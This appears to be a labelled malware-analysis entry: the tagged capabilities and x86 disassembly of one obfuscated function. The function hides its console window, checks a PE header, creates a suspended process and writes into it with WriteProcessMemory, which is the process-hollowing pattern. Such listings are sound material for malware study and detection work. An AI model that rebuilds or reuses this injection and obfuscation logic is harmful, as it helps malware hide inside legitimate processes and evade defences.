Function at 0x10003380
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x104
mov eax, dword [0x10067200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10c], 0x16fd0937
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
sub eax, 0x804a904b
je 0x10006902
jmp 0x100033bc
mov eax, dword [ebp - 0x110]
sub eax, 0x80783f93
je 0x10006a25
jmp 0x100033d2
mov eax, dword [ebp - 0x110]
sub eax, 0x80d6d29b
je 0x10006ced
jmp 0x100033e8
mov eax, dword [ebp - 0x110]
sub eax, 0x80ed7210
je 0x1000adc7
jmp 0x100033fe
mov eax, dword [ebp - 0x110]
sub eax, 0x8100a6c3
je 0x10006bce
jmp 0x10003414
mov eax, dword [ebp - 0x110]
sub eax, 0x81b115d7
je 0x1000a33e
jmp 0x1000342a
mov eax, dword [ebp - 0x110]
sub eax, 0x81e473cc
je 0x10009597
jmp 0x10003440
mov eax, dword [ebp - 0x110]
sub eax, 0x83b64d7f
je 0x1000b0d3
jmp 0x10003456
mov eax, dword [ebp - 0x110]
sub eax, 0x849cb162
je 0x1000b320
jmp 0x1000346c
mov eax, dword [ebp - 0x110]
sub eax, 0x85181a67
je 0x10008d0b
jmp 0x10003482
mov eax, dword [ebp - 0x110]
sub eax, 0x85a00300
je 0x1000b18c
jmp 0x10003498
mov eax, dword [ebp - 0x110]
sub eax, 0x85a21d3a
je 0x1000aebe
jmp 0x100034ae
mov eax, dword [ebp - 0x110]
sub eax, 0x85b65465
je 0x1000b1da
jmp 0x100034c4
mov eax, dword [ebp - 0x110]
sub eax, 0x879aa5e9
je 0x1000b50c
jmp 0x100034da
mov eax, dword [ebp - 0x110]
sub eax, 0x87fa3c21
je 0x10006b37
jmp 0x100034f0
mov eax, dword [ebp - 0x110]
sub eax, 0x885bfb59
je 0x1000761e
jmp 0x10003506
mov eax, dword [ebp - 0x110]
sub eax, 0x886a098a
je 0x10006e07
jmp 0x1000351c
mov eax, dword [ebp - 0x110]
sub eax, 0x88b10e0d
je 0x10009a36
jmp 0x10003532
mov eax, dword [ebp - 0x110]
sub eax, 0x88d66cd4
je 0x10007eda
jmp 0x10003548
mov eax, dword [ebp - 0x110]
sub eax, 0x89090abd
je 0x10007ff6
jmp 0x1000355e
mov eax, dword [ebp - 0x110]
sub eax, 0x891835fa
je 0x10009fcd
jmp 0x10003574
mov eax, dword [ebp - 0x110]
sub eax, 0x898fac05
je 0x100060d2
jmp 0x1000358a
mov eax, dword [ebp - 0x110]
sub eax, 0x89ecc386
je 0x1000a85e
jmp 0x100035a0
mov eax, dword [ebp - 0x110]
sub eax, 0x8abbc702
je 0x1000b6e8
jmp 0x100035b6
mov eax, dword [ebp - 0x110]
sub eax, 0x8b7bb49d
je 0x10009383
jmp 0x100035cc
mov eax, dword [ebp - 0x110]
sub eax, 0x8c428596
je 0x10005dbd
jmp 0x100035e2
mov eax, dword [ebp - 0x110]
sub eax, 0x8d32d546
je 0x100083b9
jmp 0x100035f8
mov eax, dword [ebp - 0x110]
sub eax, 0x8dd6ebae
je 0x100065d0
jmp 0x1000360e
mov eax, dword [ebp - 0x110]
sub eax, 0x8e513d52
je 0x10005a79
jmp 0x10003624
mov eax, dword [ebp - 0x110]
sub eax, 0x8ede1abf
je 0x1000a4c6
jmp 0x1000363a
mov eax, dword [ebp - 0x110]
sub eax, 0x8fe478db
je 0x100060b5
jmp 0x10003650
mov eax, dword [ebp - 0x110]
sub eax, 0x90b9bc47
je 0x1000945c
jmp 0x10003666
mov eax, dword [ebp - 0x110]
sub eax, 0x910cd897
je 0x1000a35c
jmp 0x1000367c
mov eax, dword [ebp - 0x110]
sub eax, 0x91c38ee3
je 0x10005a4d
jmp 0x10003692
mov eax, dword [ebp - 0x110]
sub eax, 0x92032388
je 0x1000b2e2
jmp 0x100036a8
mov eax, dword [ebp - 0x110]
sub eax, 0x93c42233
je 0x10008828
jmp 0x100036be
mov eax, dword [ebp - 0x110]
sub eax, 0x9452cb32
je 0x100069ab
jmp 0x100036d4
mov eax, dword [ebp - 0x110]
sub eax, 0x94e9669d
je 0x1000b654
jmp 0x100036ea
mov eax, dword [ebp - 0x110]
sub eax, 0x952575c7
je 0x1000a76c
jmp 0x10003700
mov eax, dword [ebp - 0x110]
sub eax, 0x968848c0
je 0x10005c78
jmp 0x10003716
mov eax, dword [ebp - 0x110]
sub eax, 0x96aa78e3
je 0x1000aab2
jmp 0x1000372c
mov eax, dword [ebp - 0x110]
sub eax, 0x97146342
je 0x1000994a
jmp 0x10003742
mov eax, dword [ebp - 0x110]
sub eax, 0x97394453
je 0x10009600
jmp 0x10003758
mov eax, dword [ebp - 0x110]
sub eax, 0x98200a37
je 0x1000673e
jmp 0x1000376e
mov eax, dword [ebp - 0x110]
sub eax, 0x986bc1a0
je 0x10006678
jmp 0x10003784
mov eax, dword [ebp - 0x110]
sub eax, 0x996568f8
je 0x10009f5a
jmp 0x1000379a
mov eax, dword [ebp - 0x110]
sub eax, 0x997c09e0
je 0x1000a3ec
jmp 0x100037b0
mov eax, dword [ebp - 0x110]
sub eax, 0x9a22195b
je 0x1000602c
jmp 0x100037c6
mov eax, dword [ebp - 0x110]
sub eax, 0x9b2e3905
je 0x10009db3
jmp 0x100037dc
mov eax, dword [ebp - 0x110]
sub eax, 0x9b7dab2a
je 0x1000611b
jmp 0x100037f2
mov eax, dword [ebp - 0x110]
sub eax, 0x9bb68b9d
je 0x1000af41
jmp 0x10003808
mov eax, dword [ebp - 0x110]
sub eax, 0x9cdec95d
je 0x10007fa9
jmp 0x1000381e
mov eax, dword [ebp - 0x110]
sub eax, 0x9d5cebc7
je 0x1000a13f
jmp 0x10003834
mov eax, dword [ebp - 0x110]
sub eax, 0x9d879195
je 0x10007995
jmp 0x1000384a
mov eax, dword [ebp - 0x110]
sub eax, 0x9db2a954
je 0x10006911
jmp 0x10003860
mov eax, dword [ebp - 0x110]
sub eax, 0x9ee56d74
je 0x1000946b
jmp 0x10003876
mov eax, dword [ebp - 0x110]
sub eax, 0x9ef269b3
je 0x10007ebd
jmp 0x1000388c
mov eax, dword [ebp - 0x110]
sub eax, 0x9f66081e
je 0x100074ec
jmp 0x100038a2
mov eax, dword [ebp - 0x110]
sub eax, 0xa0ca2be4
je 0x10006659
jmp 0x100038b8
mov eax, dword [ebp - 0x110]
sub eax, 0xa1355f32
je 0x10007f48
jmp 0x100038ce
mov eax, dword [ebp - 0x110]
sub eax, 0xa43e1a53
je 0x1000acd4
jmp 0x100038e4
mov eax, dword [ebp - 0x110]
sub eax, 0xa44d357c
je 0x10006e68
jmp 0x100038fa
mov eax, dword [ebp - 0x110]
sub eax, 0xa458546f
je 0x10005d55
jmp 0x10003910
mov eax, dword [ebp - 0x110]
sub eax, 0xa49ac196
je 0x10005f27
jmp 0x10003926
mov eax, dword [ebp - 0x110]
sub eax, 0xa4bd40dc
je 0x10008013
mov dword [ebp - 0x10c], 0x7acfe381
jmp 0x1000b71f
mov ecx, dword [0x10068528]
mov eax, dword [0x10068524]
mov edx, ecx
add edx, 0x864b687a
sub edx, 1
sub edx, 0x864b687a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9bb68b9d
mov ecx, 0xcaeefb63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x4ef7fcab
jmp 0x1000b71f
movss xmm0, dword [0x100183ac]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0x28a825fd
jmp 0x1000b71f
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0x1b2b7180
sub edx, 1
add edx, 0x1b2b7180
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7435ebfe
mov ecx, 0xa8b4b92d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xcda49734
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xaee2f9ca
jmp 0x1000b71f
mov dl, 1
mov eax, 0x7d34a174
mov ecx, 0x898fac05
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x553c12c
mov ecx, 0x9b7dab2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018228]
movss dword [ebp - 0xf0], xmm0
mov ecx, dword [0x10068528]
mov eax, dword [0x10068524]
mov edx, ecx
sub edx, 0xf4db797a
sub edx, 1
add edx, 0xf4db797a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x553c12c
mov ecx, 0x62282370
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x284fa50b
jmp 0x1000b71f
movss xmm0, dword [0x10018378]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x10c], 0x986bc1a0
jmp 0x1000b71f
mov dl, 1
mov eax, 0x301a5d0f
mov ecx, 0x107b30dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xc6fa0f44
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x9db2a954
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x25e2000e
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x52baddb9
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x407c6bd9
jmp 0x1000b71f
mov dl, 1
mov eax, 0xf6c2d896
mov ecx, 0x4f3187be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x10018330]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001832c]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x10c], 0xad762ffa
jmp 0x1000b71f
mov ecx, dword [0x10068528]
mov eax, dword [0x10068524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x83b64d7f
mov ecx, 0x4849e654
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0xfc], xmm0
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0x826fd1c8
sub edx, 1
add edx, 0x826fd1c8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9e1187f
mov ecx, 0xa44d357c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dl, 1
mov eax, 0x695728e8
mov ecx, 0xcdbbc244
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0xb639c9ce
sub edx, 1
add edx, 0xb639c9ce
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x85a00300
mov ecx, 0xab237474
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dl, 1
mov eax, 0x6c20f20a
mov ecx, 0x4454c08e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x100181e0]
movss dword [ebp - 0x100], xmm0
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0x93c314d
sub edx, 1
add edx, 0x93c314d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab2febc6
mov ecx, 0xaedb664c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dl, 1
mov eax, 0x6240a06
mov ecx, 0x88d66cd4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov ecx, dword [0x10068528]
mov eax, dword [0x10068524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb9a162f6
mov ecx, 0xa1355f32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x104], xmm0
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
add edx, 0x94db355a
sub edx, 1
sub edx, 0x94db355a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9a162f6
mov ecx, 0x9cdec95d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xa6009bca
jmp 0x1000b71f
mov dl, 1
mov eax, 0xd683ba5e
mov ecx, 0xa4bd40dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xd624b730
jmp 0x1000b71f
movss xmm0, dword [0x100182a8]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x10c], 0xfdbd77f1
jmp 0x1000b71f
movss xmm0, dword [0x10018288]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x10c], 0x606c33f0
jmp 0x1000b71f
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0x9bbc7249
sub edx, 1
add edx, 0x9bbc7249
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeb6b738e
mov ecx, 0xf4a08a64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x9ee56d74
jmp 0x1000b71f
mov dl, 1
mov eax, 0xba9130d6
mov ecx, 0xe5ec98ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xba9130d6
jmp 0x1000b71f
mov edx, dword [ebp - 0x8c]
mov eax, 0xd4fd24cf
mov ecx, 0xc13ec207
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x6525d687
jmp 0x1000b71f
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x10c], 0xa54c6432
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xdeeaa224
jmp 0x1000b71f
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xbc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xac]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10003190
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xbc]
mov esi, dword [eax]
mov eax, dword [ebp - 0xac]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x773330e0
mov ecx, 0x891835fa
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x10c], 0x231796bd
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x773330e0
jmp 0x1000b71f
mov dl, byte [ebp - 0x49]
mov eax, 0x1c1912a4
mov ecx, 0x910cd897
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10c], 0x53204d0c
jmp 0x1000b71f
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xa0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0xf9d5f50
jmp 0x1000b71f
mov eax, dword [ebp - 0x98]
mov dword [eax], 0
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0x64115915
sub edx, 1
add edx, 0x64115915
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x276b26d0
mov ecx, 0x17aa9138
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x4530635c
jmp 0x1000b71f
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [0x10068528]
mov ecx, dword [0x10068524]
mov edx, eax
sub edx, 0xde4bf8a
sub edx, 1
add edx, 0xde4bf8a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94e9669d
mov ecx, 0x3d73cf89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x10c], eax
jmp 0x1000b71f
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
sub ecx, 0x6734b0e0
add ecx, 1
add ecx, 0x6734b0e0
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0x10c], 0x81e71a8
jmp 0x1000b71f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x10c], 0x1c7b308c
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x799579b3
jmp 0x1000b71f
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
movss xmm0, dword [0x10018248]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018244]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018240]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0x25c7cc0d
jmp 0x1000b71f
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x10c], 0xcaeefb63
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x80d6d29b
jmp 0x1000b71f
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181f0]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x10c], 0x9f66081e
jmp 0x1000b71f
movss xmm0, dword [0x100181ec]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x100181e8]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x10c], 0x7864f59c
jmp 0x1000b71f
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x10c], 0xf0eb8148
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0x3197f94b
jmp 0x1000b71f
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x10c], 0x67775f87
jmp 0x1000b71f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
sub ecx, 0x8da762a5
add ecx, eax
add ecx, 0x8da762a5
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov edx, dword [eax]
mov eax, dword [ebp - 0x90]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x10c], 0x89ecc386
jmp 0x1000b71f
mov dword [ebp - 0x10c], 0xb1e359e1
jmp 0x1000b71f
jmp 0x100033a0